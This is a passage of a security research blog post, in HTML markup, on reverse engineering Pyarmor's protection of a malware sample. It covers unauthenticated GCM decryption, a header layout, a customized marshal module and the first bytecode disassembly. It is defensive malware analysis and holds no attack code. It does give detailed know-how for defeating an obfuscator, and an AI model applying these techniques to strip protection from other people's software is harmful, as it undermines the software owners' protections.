    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can see multiple GCM functions being used here that look like they should be from libtomcrypt, however that is not directly the case.
These stem from a different compilation unit using a smaller &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcm&lt;/code&gt; state structure than libtomcrypt.
The struct contains keys for different cipher types at its beginning, and some of them were omitted in this variant.
In the case of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcm_add_aad&lt;/code&gt;, the “normal” libtomcrypt function is in fact also present in the binary, which is why we have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_0&lt;/code&gt; suffix here.
The special functions do, however, make direct use of various primitives from the normal libtomcrypt, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcm_mult_h&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Another thing to note is the absence of authentication tag handling.&lt;/p&gt;

&lt;figure id=&quot;gcmmeme&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/gcm-meme.jpg&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/02/gcm-meme.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/gcm-meme.jpg&quot; alt=&quot;Meme about using authenticated encryption but not authenticating anything&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/gcm-meme.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/gcm-meme.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/gcm-meme.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;&quot;I heard GCM is a good cipher mode to use&quot;&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The point of using GCM is to prevent manipulation of the ciphertext, i.e., to ensure that decryption returns the exact data that was encrypted.
Otherwise, it’s possible for someone to flip a couple bits in the ciphertext in the hopes of achieving interesting changes in the plaintext.
Without storing and comparing the authentication tag, no guarantees about the output data are made, and one might as well have used any other cipher mode such as CTR.&lt;/p&gt;

&lt;p&gt;It’s not entirely clear why Pyarmor chose GCM, although their choices do have a noteworthy consequence: Some tools and libraries outright refuse to decrypt anything in GCM mode if you don’t have an authentication tag. For example, it’s not possible to use Cyberchef in this particular case.&lt;/p&gt;

&lt;p&gt;Lastly, the nonce (or initialization vector) handling is slightly weird.
While the size is the GCM default of 12 bytes, it is not stored in one contiguous piece.
You can see that the dword at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+ 40&lt;/code&gt; is replaced with the dword at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+ 36&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The decryption snippet shown in this section is used in various places by the native module whenever it needs to decrypt any amount of data, for example the huge bytes string we saw in the beginning is largely comprised of GCM-ciphertext.&lt;/p&gt;

&lt;h2 id=&quot;now-we-can-decrypt-everything-right&quot;&gt;Now we can decrypt everything, right?&lt;/h2&gt;

&lt;p&gt;You can think of the huge bytes string passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; as an encrypted .pyc file with a custom header.
The header has the following structure:&lt;/p&gt;

&lt;figure&gt;

  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th style=&quot;text-align: left&quot;&gt;Offset&lt;/th&gt;
        &lt;th style=&quot;text-align: left&quot;&gt;Description&lt;/th&gt;
        &lt;th style=&quot;text-align: left&quot;&gt;Example&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;0:8&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Module magic (must match native module identifier)&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;PY007106&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;9&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Python major version&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;3&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;10&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Python minor version&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;12&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;12:16&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;.pyc magic for specific Python version&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CB 0D 0D 0A&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;20&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Protection type? &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9&lt;/code&gt; for bcc mode, otherwise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;8&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;28:32&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Ciphertext offset&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;64&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;32:36&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Ciphertext size&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;496093&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;36:40&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;IV bytes [0:4]; individual bytes contain flags; also used as “validation” dword for decrypted data&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12 09 06 00&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;37&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Any of the first 3 bits in this byte must be 1 for GCM to be applied&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;9&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;40:44&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Fake IV bytes [0:4]&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2C FE 35 B2&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;44:52&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;IV bytes [4:12]&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;83 6F 1C 69 1D 3F AB 73&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;dynamic&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Ciphertext, at offset given above&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt; &lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;

  &lt;figcaption&gt;Figure 4: Structure of bytes string passed to __pyarmor__()&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;br /&gt;
Applying GCM decryption yields the following:&lt;/p&gt;

&lt;figure id=&quot;decrypted1&quot; class=&quot;figure-posts&quot; style=&quot;width: 70%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/decrypted1.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/02/decrypted1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/decrypted1.png&quot; alt=&quot;Screenshot of hex editor showing initial decryption result&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/decrypted1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/decrypted1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/decrypted1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 5: First decryption result&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Now this doesn’t look too shabby, we can see some strings and further down (outside the range shown here), we even get interesting ones like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;key&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rc4_decrypt&lt;/code&gt;.
One thing that immediately caught our eye is that there is still some data that seems to have pretty high entropy, especially at the ranges 0x60..0x90 and after 0x140.
Thus, the next goal is going to be understanding what context the still-encrypted data appears in.&lt;/p&gt;

&lt;p&gt;The decrypted data has another Pyarmor-specific header, which helpfully comes with a length prefix (0x20).
We can see a repetition of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12 09 06 00&lt;/code&gt;, which is compared with the value from the outer header.
Afterwards (starting from 0x20), we have data that is passed into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyMarshal_ReadObjectFromString()&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;python-marshaling&quot;&gt;Python marshaling&lt;/h3&gt;

&lt;p&gt;The Python interpreter uses the built-in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;marshal&lt;/code&gt; module whenever it needs to serialize or deserialize compiled scripts.
It essentially implements a Python-specific binary format for basic types like integers, strings, floats, tuples, lists, and most importantly, code objects.
The format is not stable and tends to vary with each Python interpreter version.
Thus, to have any chance at all, the data must be loaded with the exact Python version it was written with.
When we tried this with python3.12, it failed with a “bad marshal data (unknown type code)” error. Uh oh….&lt;/p&gt;

&lt;p&gt;In the previous section, we mentioned a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyMarshal&lt;/code&gt; function that is used.
We omitted the fact that this function is &lt;em&gt;not&lt;/em&gt; imported from the main Python library. Instead, the entire marshaling code was vendored into the Pyarmor runtime, and we identified it by searching for some of the error strings on GitHub. 
There’s pretty much only one reason one would do such a thing: in order to customize some logic in the code.&lt;/p&gt;

&lt;p&gt;So we accepted our fate, built python3.12 from source, and stepped through the deserialization logic side by side to find the point of divergence.
Somewhat unsurprisingly, the difference turned out to be in code objects, specifically at the end of the object data. Pyarmor contains the following additional logic:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;readable&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v265&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FILE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v265&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_546&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_479&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v320&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v320&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;PyErr_SetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyExc_EOFError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;EOF read where object expected&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;code_error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v265&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v320&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;LABEL_546&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v304&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v265&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v305&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v304&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v304&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This logic reads an additional bytes string prefixed with a length byte.
Its purpose is unknown - it didn’t seem to be relevant for static analysis.&lt;/p&gt;

&lt;p&gt;Since we already had the Python source at hand anyway, we simply inserted similar logic into the marshal module.
When doing so, you must take care not to disturb the normal loading activities of the Python runtime, since of course it also runs the unmarshaling code when loading built-in/standard modules.
The patch we came up with for python3.12 is part of our &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&quot;&gt;GitHub repo&lt;/a&gt;, along with a docker image building a patched Python.&lt;/p&gt;

&lt;p&gt;With the customized Python build, we were now able to successfully parse the binary data we decrypted!&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;marshal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;BytesIO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Got&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;extra&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Got&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;extra&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Got&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;extra&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7f9a3a6ce100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;frozen JAN-X1&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The module we parsed contains three code objects in total, so we got three debug prints about the additional bytes that were found.
It appears the malware’s source file was originally called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JAN-X1.py&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Side note:&lt;/strong&gt; There is one other reason that it is in Pyarmor’s interest to vendor the unmarshaling code.
The official variant of the code offers auditing hooks that allow you to be informed whenever the interpreter unmarshals data.
This was utilized by unpackers for older Pyarmor versions.
In the vendored code, any auditing logic is conveniently missing.&lt;/p&gt;

&lt;h3 id=&quot;analyzing-the-actual-bytecode&quot;&gt;Analyzing the actual bytecode&lt;/h3&gt;

&lt;p&gt;With our code object instance at the ready, we can finally disassemble some bytecode!&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;thecode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PUSH_NULL&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;__pyarmor_enter_60307__&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x1a&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x00\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BUILD_TUPLE&lt;/span&gt;              &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CALL_FUNCTION_EX&lt;/span&gt;         &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;POP_TOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RESUME&lt;/span&gt;                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;22&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;Traceback &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;most&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;recent&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
&lt;span class=&quot;bp&quot;&gt;...&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;File&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/python312/Lib/dis.py&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;401&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_get_name_info&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;argval&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name_index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;extrainfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;o&quot;&gt;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;IndexError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;tuple&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Well… it’s a start? There are a couple of things to note here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Remember the code enter/leave functions we noted in C earlier in the post? Here, they’re calling enter&lt;/li&gt;
